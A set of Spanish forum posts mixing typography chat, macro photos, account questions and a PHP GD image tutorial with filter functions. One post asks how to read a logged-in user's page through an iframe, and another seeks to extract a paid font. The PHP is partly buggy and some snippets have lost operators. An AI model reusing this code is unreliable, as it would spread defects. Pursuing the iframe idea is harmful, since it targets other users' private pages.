estaba al dope, pensando por que fondo cambiar mi actual en el wlm 9, fue asi que puse unas musicas electronicas, y me deje llevar por el windows media player! jejej, que dicen? ahora que l veo bien, hay unos cuadrados movidos, pero ni se ven! jaja, y ni da cambiarlo :P



como siempre dije, para mi el negro y el violeta azulado, van como piña colada!
#32
bueno, tengo una tipografia de un pdf queme encanto, se llama comalle, ya la deben conocer. pasa que los unicos lugares que la encuentro para descargar son pagos ¬¬ y no encuentro uno gratis :P que vivada la mia na? ahora, como puedo hacer para extraer esa tipografia ya que es logico que esta incrustada porque con el foxit editor puedo escribir texto con esa tipografia.

osea, si quiero escribo el texto ahi y le saco una foto a la pantalla y la uso asi, pero la quiero tener :P

en si, hay algun programa que realice esta tarea? o ya el mismo foxit la realiza? no se usarlo muy bien, ademas, mi foxit editor esta en ingles :-\ un saludo grande.
#33
encontre una pagina bastante interesante, en si es un blog. en el mismo encontre una forma completamente distinta de ver a una simple letra. al momento de seleciconar nuestra tipografia, hay que tener unos puntos de vista para la correcta visualizacion del lector, para ser mas exacto, 15 puntos.





1. La forma.
Anteriormente, en el juego a ser Garamond, revisamos el concepto de ductus. El ductus representa lo más importante de la letra, su esqueleto. Para una buena legibilidad en el tipo de texto, necesitamos tipografías con un ductus carente de complejidades innecesarias, y que sea lo más simple posible, para que el sobrediseño no sea un elemento distractor. Asi fijamos la atención en lo que estamos leyendo, y no en la forma de la letra.


2. El peso
Cuando hablamos del peso de la letra hablamos de una coherente relación entre el negro que emite la forma, y la luz que entra entre las letras (blanco de página o contraforma). Muchas veces se suele escribir con tipografías light que generan una página demasiado clara. Claro, suele verse muy cool, pero dependiendo de la extensión del texto, suele cansar muy luego. Imagínense a un estudiante universitario estudiando en el bus de noche mientras viaja a la ciudad donde tiene que dar la prueba. Una tipografía demasiado liviana, con una mala luz. Resultado: media página leída y el resto del viaje durmiendo.


3. El Contraste
El contraste se refiere básicamente a la diferencia de grosor entre las verticales y las horizontales. Explicado mejor, la diferencia entre los trazos más gruesos con los más delgados. No quiero dar fórmulas como llegar a un equilibrio adecuado; pero un error sería crear un contraste tan marcado, que se produzca el efecto Bodoni. Yo creo que todos alguna vez nos tocó estudiar de las fotocopias, de las fotocopias, de las fotocopias, de las fotocopias de un paper que nos entregaba el profesor. O sea, sólo se leían las verticales. Una buena tipografía debería resistir varias generaciones de copiado, debe ser robusta sin ser grosera.


4. El eje.
Un comentario no atinado y me echo encima cientos de años de historia tipográfica. Muchos conservadores no van a estar de acuerdo conmigo, pero el eje de la tipografía suele ser ligeramente decisivo para una mejor lectura. Cuando presentas tipografías con astas 100% ortogonales, que van marcando el ritmo de una lectura con rectas verticales, no puedes distraerla con curvas que buscan un sentido opuesto. Si hilamos fino, estaríamos trabajando con 2 lenguajes, uno para las curvas, y otro para las rectas. Resultado, el desordenamiento de la frase.



5. Altura x
La altura x mostrará de qué tamaño es el cuerpo legible la letra. Ascendentes y descendentes demasiado largas conseguirán un acortamiento de la línea de cuerpo de texto, que insisto, es donde se concentra la mayor cantidad de la información legible. Es esta diferencia lo que produce por ejemplo que Mrs. Eaves se vea mucho más chica que Times New Roman. En el ejemplo podemos ver caricaturizada este punto.



6. Altura de las mayúsculas
Creo que suele quedar bastante claro con el ejemplo. Antiguamente las mayúsculas se diseñaban del mismo porte de las ascendentes, o en ocasiones más grandes aún. El efecto que provoca una palabra escrita en mayúsculas (como MINEDUC) dentro de la frase suele ser un atentado a la lectura en línea del texto.
Cuando escribo la palabra "Garamond" con Garamond siento, siento como si la "G" fuera un dinosaurio y la "a" fuera su presa.



7. Terminaciones
Cuando ocupamos una tipografía para escribir un texto, muchas veces tenemos que verla en grande, como en avisos publicitarios, etc. Ya que se usa como tipografía corporativa. El simple hecho que esté mal dibujada es más que una buena razón para descartarla. La gran mayoría de las tipografías tienen horribles terminaciones, y eso los diseñadores no lo deberíamos tolerar.



8. Gris de texto, o gris de textura.
Hilando ya un poco a niveles más macro, nos encontramos con este curioso punto. Cuando escribimos un texto, y vemos la textura que produce el bloque (conjunto de letras juntas), esta debe estar homogénea. Si hay letras que resaltan porque están más gruesas que otras, es porque el tipo de texto está mal diseñado. Muchos tipógrafos exageran engrosando las verticales de las mayúsculas con respecto a las de las minúsculas, creando un desagradable efecto en el gris de la textura del texto.



9. Apertura de la contraforma
Muchas tipografías consideradas de texto, pecan de cerrar o abrir demasiado sus contraformas. En el caso de que se cierren demasiado, pueden generar errores de legibilidad como confundir una "c" con una "o". En el caso de que estén demasiado abiertas (como frutiger), la contraforma interna de la letra se suma a la contraforma externa de la letra, produciendo una cantidad de blanco muy desagradable a la vista.




10. El efecto pescado
En un post anterior hablé sobre el desagradable resultado producido por el efecto pescado. Cuando se el tipógrafo diseña sólo las formas suele caer en este tipo de errores. Un buen tipógrafo de texto, diseña la forma, la contraforma interna y externa, y su ductus. (Mayor información leer el post del efecto pescado).




11. Contraforma externa
Hay detalles que hacen a una tipografía muy legible, y eso es la contraforma externa. No se imaginan cuanto cambia leer una tipografía con el sacadito de arriba de la "n" bien marcado, o la diferencia entre la "rn" y la "m". Hay tipografías que ni siquiera tienen ese sacadito. Entonces no son de texto, punto.




12. Contraforma interna
Una costumbre muy recurrente de los diseñadores de fuentes es hacer el ojo pequeño de la "a" y "e" demasiado pequeños. Algunos se excusan citando a la historia, otros lo hacen por estética. Lo único claro es que este pequeño ojo tiende a desaparecer, y la contraforma abierta tiende a agrandarse demasiado. Como la "a" y la "e" son las letras más usadas en muchos idiomas, el desagradable efecto se potencia aún más.




13. Comprobar que el set esté completo
¿Cuántas veces se han encontrado con este signo, cuando ya tienen todo diseñado?. Debe ser una de las sensaciones más desastrosas que existen, ya que hay que empezar todo de nuevo. Muchos tipógrafos NO diseñan la "ñ", los acentos, los signos de interrogación, los punto y coma, y los signos de corte de palabra o los números. Es mejor revisar bien la fuente antes de lamentar.




14. La familia
Comprobar que la familia sea abundante y que pueda resolver los problemas de diseño que se puedan presentar en un párrafo es lo ideal. Difícilmente se puede diseñar con una tipografía que solo tenga la versión regular. Hoy en día se necesita destacar mediante itálicas, o usar las negritas en los subtítulos o cambios de tema. Otra cosa que suele ser muy importante, es que la itálica sea igual de legible que la regular, y que no esté llena de figuritas rebuscadas.




15. El interletraje
Existen tipografías que sencillamente no se les hizo interletraje, y funcionan muy mal. Un buen diseñador corrige los interletrajes que no le parecen correctos, pero es demasiado tedioso ir corrigiéndolos todos. Hay programas como InDesign que hacen ese trabajo automáticamente, pero nunca queda lo bien que lo hace el mismo diseñador tipográfico.


Fuente: letritas.blogspot.com
#34
Nivel Web / Contenido de iframe, psoible?
17 Marzo 2010, 02:01 AM
resulta que se me ocurrio el otro dia de conseguir el codigofuente de una pagina de un usuario logeado. osea, como un file_get_contents en php pero en javascript para que se ejecute en el cliente. ahora pasa. por lo que estuve probando es dificil de conseguir el contenido de un iframe, pero no oslo eso. las preguntas. es posible conseguir el contenido de un iframe? si eso se puede, cuando lo consigo, el navegador me lo muestra como si no estuviera logeado?
#35
bue, antes de irme al cole encontre una lupa que tenia ahi tirada, no tiene mucho aumento. me pregunte si podria aumentar un tornillo de gabinete, y lo que hizo en realidad no fue aumentarlo, sino enfocarlo :D mpero la verdad devuelve unos resultados muy buenos :

el tornillo:


sin el enfoque de la lupa se ve asi:


ahora, la lupa que use es:


otras fotos:

un pentium de un lado:


del otro:


un cooler chiquito con un disipador tambien chico :P :


la plaqueta de un disco:


sin la lupa:


dos teclas de mi teclado ;D:


el tornillo con respecto al teclado (sin lupa):


una boludez que salio al momento:


y mi mano:





bueno, esto en realidad de macro tiene no mucho :P pero para personas como yo que no pueden acceder a una camara con un buen enfoque y un buen lente, esta es nuestra solucion por lo menos hasta que veamos que llueva plata :P
a ver que les sale a ustedes:...
#36
bue eso, siempre a mi me dice mis datos, pero al parecer ahora la imagen es de algo de r.i.elhacker.net/cache=web

hice algo mal con la firma o algo asii?
#37
Bueno, hoy se me dio por querer ponerme oculto y dejar con la intriga a los otros usaurios de saber quien era xD! que tanto fantasmita si smf te trae la opcion jhajjajaj, pasa que cuando pongo la contraseña, me dice que no es valida!! y si es valida ¬¬
#38
PHP / CastGD Functions! [Libreria GD]
2 Marzo 2010, 20:20 PM
bueno, me faltan las funciones para modificar el brillo, contraste y color xD pero no me aguante mas!! jajjaj en este post voy a ir subiendo (si ustedes tienen porfavor subanlas y modifico el titulo) funciones para usar con la libreria gd.

por ahora las que hice fueron para:

  • Para el correcto funcionamiento de estas heramientas es necesario usar una funcion que limita el valor de rgb. osea, si es mayor a 255, que sea 255, y si es menor a 0, que sea 0.
  • Redimensionar imagenes mas facilmente
  • Añadir ruido.
  • Crear un fondo degradado con dos colores. Variadas formas.
  • Desaturar la imagen.
  • Alternar los valores RGB.
  • Modificar la saturacion.
  • Efecto negativo.


son demasiado simplonas, tienen errores de incopatibilidad aveces jajaj.




Código (php) [Seleccionar]
function limit($flotaValueRGB) {
return ($flotaValueRGB > 255) ? 255 : (($flotaValueRGB < 0) ? 0 : $flotaValueRGB);
}





Código (php) [Seleccionar]
function imageresize($flotaImage, $flotaX, $flotaY) {
$new_image = imagecreatetruecolor($flotaX, $flotaY);
imagecopyresampled($new_image, $flotaImage, 0, 0, 0, 0, imagesx($new_image), imagesy($new_image), imagesx($flotaImage), imagesx($flotaImage));
return $new_image;
}





Código (php) [Seleccionar]
function imageaddnoise($flotaImage, $flotaAmount = 50, $flotaAlpha = 50) {
$xImage = imagesx($flotaImage);
$yImage = imagesy($flotaImage);
for($y=0;$y<$yImage;$y++) {
for($x=0;$x<$xImage;$x++) {
$rgb = imagecolorat($flotaImage, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
$amount = mt_rand(-$flotaAmount, $flotaAmount);
$color = imagecolorallocatealpha($flotaImage,  ($r + $amount > 255) ? 255 : $r + $amount,  ($g + $amount > 255) ? 255 : $g + $amount,  ($b + $amount > 255) ? 255 : $r + $amount, $flotaAlpha);
imagesetpixel($flotaImage, $x, $y, $color);
}
}
}





Código (php) [Seleccionar]
function imagefillgradient($flotaImage, $flotaGradientMode  = 1, $flotaColor1, $flotaColor2, $flotaInvertColor = false) {
if($flotaInvertColor){ $tempColor = $flotaColor2; $flotaColor2 = $flotaColor1; $flotaColor1 = $tempColor; }
$flotaColor1 = array(
'r' => ($flotaColor1 >> 16) & 0xFF,
'g' => ($flotaColor1 >> 8) & 0xFF,
'b' => $flotaColor1 & 0xFF
);
$flotaColor2 = array(
'r' => ($flotaColor2 >> 16) & 0xFF,
'g' => ($flotaColor2 >> 8) & 0xFF,
'b' => $flotaColor2 & 0xFF
);
$image_x = imagesx($flotaImage);
$image_y = imagesy($flotaImage);
$center_x = $image_x / 2;
$center_y = $image_y / 2;
$add_color = array(
"r" => ($flotaColor1['r'] - $flotaColor2['r']) / $image_x,
"g" => ($flotaColor1['g'] - $flotaColor2['g']) / $image_x,
"b" => ($flotaColor1['b'] - $flotaColor2['b']) / $image_x
);
$x = 0;
$y = 0;
$r = $flotaColor1['r'];
$g = $flotaColor1['g'];
$b = $flotaColor1['b'];
$bgColor = imagecolorallocate($flotaImage, $r, $g, $b);
imagefill($flotaImage, 0, 0, $bgColor);
if($flotaGradientMode!=1 && $flotaGradientMode!=2){
$add_color = array(
"r" => ($flotaColor1['r'] - $flotaColor2['r']) / $center_x,
"g" => ($flotaColor1['g'] - $flotaColor2['g']) / $center_x,
"b" => ($flotaColor1['b'] - $flotaColor2['b']) / $center_x
);
for($i=0;$i<$center_x;$i++) {
$color = imagecolorallocate($flotaImage, $r, $g, $b);
switch($flotaGradientMode) {
case 3:
imagefilledrectangle($flotaImage, $x, $y, $image_x - $x, $image_y - $y, $color);
break;
case 4:
imagefilledellipse($flotaImage, $center_x, $center_x, $image_x - $x, $image_y - $y, $color);
break;
default:
die("Gradiant mode not valid!");
break;
}
$x++;
$y++;
$r += -$add_color['r'];
$g += -$add_color['g'];
$b += -$add_color['b'];
}
} else {
$add_color = array(
"r" => ($flotaColor1['r'] - $flotaColor2['r']) / $image_x,
"g" => ($flotaColor1['g'] - $flotaColor2['g']) / $image_x,
"b" => ($flotaColor1['b'] - $flotaColor2['b']) / $image_x
);
switch($flotaGradientMode) {
case 1:
for($i=0;$i<$image_x;$i++) {
$color = imagecolorallocate($flotaImage, $r, $g, $b);
imageline($flotaImage, $x, 0, $x, $image_y, $color);
$r += -$add_color['r'];
$g += -$add_color['g'];
$b += -$add_color['b'];
$x++;
}
break;
case 2:
for($i=0;$i<$image_y;$i++) {
$color = imagecolorallocate($flotaImage, $r, $g, $b);
imageline($flotaImage, 0, $y, $image_x, $y, $color);
$y++;
$r += -$add_color['r'];
$g += -$add_color['g'];
$b += -$add_color['b'];
}
break;
default:
return false;
}
}
}





Código (php) [Seleccionar]
function imagegrayscale($flotaImage) {
$xImage = imagesx($flotaImage);
$yImage = imagesy($flotaImage);
for($y=0;$y<$yImage;$y++) {
for($x=0;$x<$xImage;$x++) {
$rgb = imagecolorat($flotaImage, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
$rgb = (($r+$g+$b) / 3) + $flotaAmount;
$color = imagecolorallocate($flotaImage, $rgb, $rgb, $rgb);
imagesetpixel($flotaImage, $x, $y, $color);
}
}
}





Código (php) [Seleccionar]
function imagealternatergb($flotaImage, $flotaMode) {
$xImage = imagesx($flotaImage);
$yImage = imagesy($flotaImage);
for($y=0;$y<$yImage;$y++) {
for($x=0;$x<$xImage;$x++) {
$rgb = imagecolorat($flotaImage, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
switch ($flotaMode) {
case bgr:
$color = imagecolorallocate($flotaImage, $b, $g, $r);
break;
case brg:
$color = imagecolorallocate($flotaImage, $b, $r, $g);
break;
case grb:
$color = imagecolorallocate($flotaImage, $g, $r, $b);
break;
case gbr:
$color = imagecolorallocate($flotaImage, $g, $b, $r);
break;
case rbg:
$color = imagecolorallocate($flotaImage, $r, $b, $g);
break;
default:
$color = imagecolorallocate($flotaImage, $r, $g, $b);
break;
}
imagesetpixel($flotaImage, $x, $y, $color);
}
}
}





Código (php) [Seleccionar]
function imagecolorsaturation($flotaImage, $flotaAmount) {
$flotaAmount = ($flotaAmount > 100) ? 100 : ($flotaAmount < 0) ? 0 : $flotaAmount;
$xImage = imagesx($flotaImage);
$yImage = imagesy($flotaImage);
for($y=0;$y<$yImage;$y++) {
for($x=0;$x<$xImage;$x++) {
$rgb = imagecolorat($flotaImage, $x, $y);
$colors = array(
'r' => ($rgb >> 16) & 0xFF,
'g' => ($rgb >> 8) & 0xFF,
'b' => $rgb & 0xFF
);
$sorted = $colors;
asort($sorted);
$largest_value = array_pop($sorted);
foreach($sorted as $nick => $rgb) {
if($rgb!=$largest_value) {
$percent = round($flotaAmount * ($largest_value - $rgb) / 100);
$colors[$nick] = $rgb + $percent;
$colors[$nick] = ($colors[$nick] > $largest_value) ? $largest_value : $colors[$nick];
}
}
$color = imagecolorallocate($flotaImage, $colors['r'], $colors['g'], $colors['b']);
imagesetpixel($flotaImage, $x, $y, $color);
}
}
}





Código (php) [Seleccionar]
function imagenegativeefect($flotaImage) {
$xImage = imagesx($flotaImage);
$yImage = imagesy($flotaImage);
for($y=0;$y<$yImage;$y++) {
for($x=0;$x<$xImage;$x++) {
$rgb = imagecolorat($flotaImage, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
$color = imagecolorallocate($flotaImage, 255 - $r, 255 - $g, 255 - $b);
imagesetpixel($flotaImage, $x, $y, $color);
}
}
}





Modo de uso:

Como imagen de prueba voy a usar :



pero la voy a redimensionar con mi funcion, para no molestarlos a ustedes y que no este tan grande, lo hago tan simple como :
Código (php) [Seleccionar]
$im = imageresize($im, 305, 400);

como ven, los valores que ingreso son exactamente la mitad.

para añadir ruido se usa asi:

Código (php) [Seleccionar]
<?php
require("castgd.php");
header("Content-type: image/jpeg");
$im imagecreatefromjpeg("http://www.galeriade.com/javidelope/data/media/2/Rosa_Rosa.jpg");
$im imageresize($im305400);
$cantidad 50;   //pueden no ingresarse los valores, pero se usan los por defecto
$transparencia 50;
imageaddnoise($im$cantidad$transparencia);
imagejpeg($im);
imagedestroy($im);
?>


y el resultado es este:



al agregar un fondo degradado, esta fucion se usa igual que "imagefill", osea, no se aplica en una imagen externa.osea, se va a aplicar, pero puede haber errores no deseados...

Código (php) [Seleccionar]
<?php
require("castgd.php");
header("Content-type: image/jpeg");
$im imagecreatetruecolor(250,250);
$rojo imagecolorallocate($im255,0,0);
$naranja imagecolorallocate($im2551280);
imagefillgradient($im1$rojo$naranja);
imagejpeg($im);
imagedestroy($im);
?>


el resultado del modo 1 sin invertir los colres es este:



1 invertido



modo 2 sin invertir



modo 3 sin invertir



modo 3 con invertir



modo 4 sin invertir






la mas simple y facil fue la de escala de grises:

Código (php) [Seleccionar]
<?php
require("castgd.php");
header("Content-type: image/jpeg");
$im imagecreatefromjpeg("http://www.galeriade.com/javidelope/data/media/2/Rosa_Rosa.jpg");
$im imageresize($im305400);
$rojo imagecolorallocate($im255,0,0);
$naranja imagecolorallocate($im2551280);
imagegrayscale($im);
imagejpeg($im);
imagedestroy($im);
?>


y el resultado es:



pero tambien se puede no solo "desaturar" automatico, sino sacar el color de apoco...

Código (php) [Seleccionar]
<?php
require("castgd.php");
header("Content-type: image/jpeg");
$im imagecreatefromjpeg("http://www.galeriade.com/javidelope/data/media/2/Rosa_Rosa.jpg");
$im imageresize($im305400);
imagecolorsaturation($im50);
imagejpeg($im);
imagedestroy($im);
?>


con cantidad 50:



y por ultimo hasta hoy, negativo:

Código (php) [Seleccionar]
<?php
require("castgd.php");
header("Content-type: image/jpeg");
$im imagecreatefromjpeg("http://www.galeriade.com/javidelope/data/media/2/Rosa_Rosa.jpg");
$im imageresize($im305400);
imagenegativeefect($im);
imagejpeg($im);
imagedestroy($im);
?>


y resulta:




les dejo una mezcla copada xD:

#39
PHP / ¿Como usar la libreria GD? [PHP]
1 Marzo 2010, 04:42 AM
Hola, con esta guía voy a tratar de explicarles como trabajar con las funciones más utilizadas de la librería GD para obtener unas atractivas imagenes dinamicas.

Para entender perfectamente esta librería, les viene muy bien leer los siguientes apuntes (si no lo tienen muy claro):


También, estas funciones otorgan las propiedades de la imagen:

Código (php) [Seleccionar]
imagesx($im); //devuelve el ancho de la imagen
imagesy($im); //devuelve el alto de la imagen
getimagesize($direccion);


La función getimagesize devuelve un array con los datos de la imagen. Por ejemplo, aplicándolo a la imagen http://blog.nuestroclima.com/wp-content/uploads/2007/08/imagen_satelital_hires.jpg devuelve:
Array
(
   [0] => 4096       Ancho
   [1] => 4096       Altura
   [2] => 2
   [3] => width="4096" height="4096"
   [bits] => 8
   [channels] => 3
   [mime] => image/jpeg
)

Para descargar fuentes, aca en el foro hay una buena recopilación.


Perfecto, empecemos. Para crear una imagen se utilizan estos siguientes:

Para crear desde un archivo sea en tu servidor o en uno externo:
Código (php) [Seleccionar]
$im = imagecreatefrompng("dirección"); //para imágenes png
$im = imagecreatefromgif("dirección"); //para imagenes gif
$im = imagecreatefromjpeg("dirección"); //para imagenes jpg y jpeg

Si se carga una imagen con transparencias, para conservarlas, hace falta agregar estas dos lineas despues de crearla.
Código (php) [Seleccionar]
imagealphablending($im, true);
imagesavealpha($im, true);


Ahora, para crear una imagen de cero basta con las funciones:

Código (php) [Seleccionar]
$im = imagecreate($ancho, $alto);
//para imagenes con una paleta de colores,
//osea, no tan buena calidad del color.
//
//
$im = imagecreatetruecolor($ancho, $alto);
//para imagenes con un color real, esta es la más usada...

Bueno, ya utilizando estas funciones habremos creado la imagen. No se olviden que siempre se tiene que asignar el valor reslutante de esta fuincion a una nueva variable (no hace falta que sea nueva ¬¬ jajaj).




Datos a tener en cuenta:


Antes de seguir, tiene que quedarles algo claro fundamental mente, y es la visualizacion de la imagen y la DESTRUCCION de la misma. Por qué destruir? Porque sino queda guardada la imagen en la memoria RAM del servidor y eso no es muy agradable. Entonces, para visualizarla basta con agregar el header correspondiente para el tipo:
Código (php) [Seleccionar]
header("Content-type: image/".$imagenextension.);
Y para imprimir la imagen se usa el comando "image" seguido del tipo de imagen. por ejemplo para una imagen png:
Código (php) [Seleccionar]
imagepng($im);
Seguido de esta función le va:
Código (php) [Seleccionar]
imagedestroy($im);




Contenido de las imagenes:


Ahora que tenemos la imagen, vamos a darle el contenido. Para ellos se puede dibujar lineas, puntos, rectángulos (solo el borde) o rectángulos rellenos (no de dulce de leche!! ;D), así como los rectángulos, elipses y polígonos indicando cantidad de puntos y posición de los mismos. También se pueden crear colores de toda la gamma RGB con o sin transparencia. Se puede agregar texto de fuentes por defecto de la librería o fuentes del tipo "True Type", "Free  type" y "PostScript" importándolas de un enlace externo. Primeramente vamos por partes y comenzamos por el principio, los colores ;D.


Colores:


Para las creaciones de colores tenemos dos funciones y un verso sin esfuerzo.
Código (php) [Seleccionar]
$nombreDelColor = imagecolorallocate($r, $g, $b);
$nombreDelColor = imagecolorallocatealpha($r, $g, $b, $valorAlfa);




Por ejemplo podemos crear el color rojo, el amarillo y el violeta:
Código (php) [Seleccionar]
$rojo = imagecolorallocate(255, 0, 0);
$amarillo = imagecolorallocate(255, 255, 0);
$violeta = imagecolorallocate(0, 255, 255);

Y si se quiere agregar opacidad a uno de estos colores:
Código (php) [Seleccionar]
$azul = imagecolorallocate(0, 0, 255, 50); //ahí tenemos un 50% de opacidad...



Además de crear colores, se puede tomar el color de un píxel determinado de una imagen determinada con la función imagecolorat();, su sintaxis es
Código (php) [Seleccionar]
imagecolorat($im, $x, $y);
Código (php) [Seleccionar]
//por ejemplo en la imagen utilizada es una rápida que encontré por internet de un "mundo"
$im = imagecreatefromjpeg("http://www.hyparion.com/web/diccionari/dics/astronomia/imatges/tierra.jpg");
$color = imagecolorat($im, 100, 100);

Ahora, acá se nos complica un poco. La variable "color" recibe el valor de 9146518 y decimos: "Qué carajo!?". Bueno, para que ese es un valor que para nosotros trabajarlo como rgba (Red Green Blue Alpha, osea, rojo verde azul y transparencia). Para "convertirlo" a ese (rgba) o hexadecimal tenemos las posibilidades de:
Código (php) [Seleccionar]

//esto se cumple una vez realizado el proceso anterior...
//automático para rgba, el más fácil y practico de todos!
$color = imagecolorsforindex($im, $color);
/*este devuelve un array con los valores:
Array
(
   [red] => 255
   [green] => 0
   [blue] => 0
   [alpha] => 0
)
*/
//
//
//este es simple, se le da un formato y devuelve el valor del color en hexadecimal.
$hex = sprintf("%06X", $color); //devuelve FF0000
//
//
//manualmente para rgba, el más complicado de entender y es lo
//mismo que la función imagecolorsforindex() pero igualmente se los explico...
$colores = array();
$colores['red'] = ($color >> 16) & 0xFF;
$colores['green'] = ($color >> 8) & 0xFF;
$colores['blue'] = $color & 0xFF;
$colores['alpha'] = ($color >> 24) & 0xFF;

Ahora paso a explicar esas cosas raras que nos da php.net sin decirnos que es ¬¬.
Los caracteres ">>" cumplen el rol de operador y recibe el nombre de operador bitwise. Lo que hace este operador es correr determinadas veces la posición del valor indicado en binario. Osea, la variable $color toma un píxel de color rojo puro (a puro me refiero a rgb(255,0,0)) el valor retornado va a ser igual a: 16711680 :o mientras que el valor en rgb es 255. Entonces, diciéndole que me corra 16 lugares los bits de 16711680 me va a dar como resultado un numero decimal igual a 255. Ahora, si no colocamos el 0xFF en el valor del rojo, nos damos cuenta que no hay diferencia, pero cuando tratamos valores rgba, el 0xFF delimita la cantidad de bits para cada valor. Es como decir, para cada valor (rgb) corresponden 8 bits (por eso siempre los corremos para que queden los 8 primeros bits) en cambio, para el valor de alpha le corresponden solo 7 bits, pero como lo corremos 24 lugares quedando solo 7 bits (es como un substring a una cadena de 7 caracteres, aunque le indiques 8, siempre devuelve 7). Se entendió esto? Bueno, sigamos que apenas vamos por los colores!!!

Fondo:

Una cosa muy molesta de la libreria gd, es el color de fondo que por defecto lo pone negro. para eso esta la funcion imagefill() que rellena la imagen desde donde se le indique con el color establecido. Su sintaxis es:
Código (php) [Seleccionar]
imagefill($im, $x, $y, $color)
Para que rellene por completo la imagen, los valores de $x,$y son igual a 0,0.




Trazados:

Puntos:


Ahora que tenemos los colores, vamos a dibujar. Primero vamos a empezar por un punto, que aunque sea de solo un píxel, es muy útil como para un ejemplo, un captcha. No hace falta demásiada explicación, dibuja un píxel en x,y del color $color
Código (php) [Seleccionar]
imagesetpixel($im, $x, $y, $color); //$color es igual a el resultado de la función imagecolorallocate()

Líneas:

Para poder dibujar una linea, se indica el x,y de inicio y el x,y de final:
Código (php) [Seleccionar]
imageline($im, $xInicio, $yInicio, $xFin, $yFin, $color);
Por ejemplo si $im es una imagen de color real de 100x100 y con fondo blanco (ya va a llegar esa parte) podría realizar esto:



Con esto:
Código (php) [Seleccionar]
$im = imagecreatetruecolor(100, 100);
$color = imagecolorallocate($im, 0,0,0);
imageline($im, 10, 35, 76, 85, $color);





Poligonos, rectángulos y elipses:[/b]

Una vez entendido esto! nos vamos con los polígonos, primero lo primero! el rectángulo
para dibujar un rectángulo se puede dibujar solo su contorno (el borde va a medir 1px) o el rectángulo relleno de color (filled).
Sinceramente la sintaxis es idéntica a la de imageline además, son iguales entre si, solo el borde, o relleno.
Código (php) [Seleccionar]
imagefilledrectangle($im, $xInicio, $yInicio, $xFin, $yFin, $color);
imagerectangle($im, $xInicio, $yInicio, $xFin, $yFin, $color);

Para el elipse, circulo u ovalo (cambia según los valores dados), al igual que el rectángulo y el polígono que lo vamos a ver posteriormente, se puede solo el borde o relleno. su sintaxis es:
Código (php) [Seleccionar]
imageellipse($im, $centroX, $centroY, $ancho, $altura, $color);
imagefilledellipse($im, $centroX, $centroY, $ancho, $altura, $color);

Donde $centroX,Y son la posición del punto medio del elipse.
Bueno, para el polígono, se complica otra vez un poco. En la sintaxis del polígono:
Código (php) [Seleccionar]
imagepolygon($im, $puntosArray, $cantidadPuntos, $color);
imagefilledpolygon($im, $puntosArray, $cantidadPuntos, $color);

La variable $puntosArray es un array, porque no le puse ese nombre al pedo xD jajaja. La estructura del array tiene que ser, cada dos valores corresponden a los valores x,y de un punto, osea:
Código (php) [Seleccionar]
$puntosArray= array (
/*
x  y  */
10, 10,  //punto 1
15, 26,  //punto 2
50, 36,  //punto 3
68, 10   //punto 4, este ultimo numero va sin coma al final!!
);

En realidad no es tan complicado :P. y para $cantidadPuntos, lógicamente se indica la cantidad de los puntos. pero para no contarlos, basta con un:
Código (php) [Seleccionar]
$cantidadPuntos = count($puntosArray) / 2;
Y listo. Ahora, el resultado de esta función es una imagen parecida a esta:







Agregar textos:


Ya terminamos con las formás y esas cosas. Ahora vamos por el texto. Para escribir en una imagen se puede utilizar las fuentes que trae por defecto la librería gd o fuentes del "True type", "Free type" o "PostScript Type1". La sintaxis para las postscript se ponen un poco jodidas, además, no conozco las fuentes del tipo postscript. Así que paso a explicar principalmente el imagestring(), además de escribir horizontalmente, también esta la función imagestringup() que escribe verticalmente:
Código (php) [Seleccionar]
imagestring($im, $fuente, $x, $y, $cadenaTexto, $color);
imagestringup($im, $fuente, $x, $y, $cadenaTexto, $color);

Para la variable $fuente se puede usar los números del 1 al 6. Los ejemplos serian:



Fijense como a partir del numero 5 se repite el tipo de fuente. El problema de imagestring es que tienen el tamaño de fuente fija.

Con funciones donde se indica una fuente externa, se puede indicar el ángulo del texto (ahora lo van a entender) y el tamaño de la fuente. Yo les voy a explicar nomás imagettftext y sus derivados.

Primero van a necesitar un archivo del tipo ttf y conocer su link xD, puede estar en el mismo directorio o en uno externo, pero como cualquier cosa, recomiendo que este en tu mismo servidor para que no haya problemás. Yo por ejemplo voy a usar la fuente Hemi Head la cual es utilizada por el foro.
Antes que nada, la sintaxis de esta función es:
Código (php) [Seleccionar]
$fuente = "hemihead.ttf";
imagettftext($im, $tamanio, $ángulo, $x, $y, $color, $fuente, $texto)

La variable fuente indica donde se encuentra el archivo de la fuente.
Por ejemplo este código,
Código (php) [Seleccionar]
<?php
header
("Content-type: image/png");
$im imagecreatetruecolor(100100);
$color imagecolorallocate($im255255255);
$fuente "HEMIHEAD.TTF";
imagettftext($im1501520$color$fuente"Castg!");
imagepng($im);
imagedestroy($im);
?>

Da como resultado esta imagen:



Ahora, si yo cambio el ángulo que en caso anterior es 0 por 315:
Código (php) [Seleccionar]
imagettftext($im, 15, 315, 15, 20, $color, $fuente, "Castg!");
Da como resultado:







Centrar textos:



Una gran necesidad al momento de usar textos en la librería gd, es el tema de centrar el texto. Acá es donde entra en acción la matemática. piensen, primeramente vamos a necesitar conocer el tamaño que ocupa el texto. Para una fuente utilizada  con imagestring() se utilizan las funciones:
Código (php) [Seleccionar]
imagefontheight($fuente);
imagefontwidth($fuente);

Estas funciones devuelven la altura y el ancho en píxeles respectivamente de un carácter de la fuente especificada. como devuelve las propiedades de un solo carácter (es el mismo valor para cualquier carácter) hay que multiplicar los valores obtenidos por la cantidad de caracteres implementados. Entonces podemos hacer algo así:
Código (php) [Seleccionar]
$fuente = 1;
$cantidadCaracteres = strlen($texto);
$textoAltura = imagefontheight($fuente) * $cantidadCaracteres;
$textoAncho = imagefontwidth($fuente) * $cantidadCaracteres;

Y listo!, pero eso es nomás para las fuentes por defecto, ahora si se quiere con una fuente que usamos en imagettftext, tenemos la función imagettfbbox, su sintaxis:
Código (php) [Seleccionar]
imagettfbbox($tamanio, $ángulo, $fuente, $texto);
El resultado de esta función es un array con 8 puntos:


0 esquina inferior izquierda, posición X

1 esquina inferior izquierda, posición Y

2 esquina inferior derecha, posición X

3 esquina inferior derecha, posición Y

4 esquina superior derecha, posición X

5 esquina superior derecha, posición Y

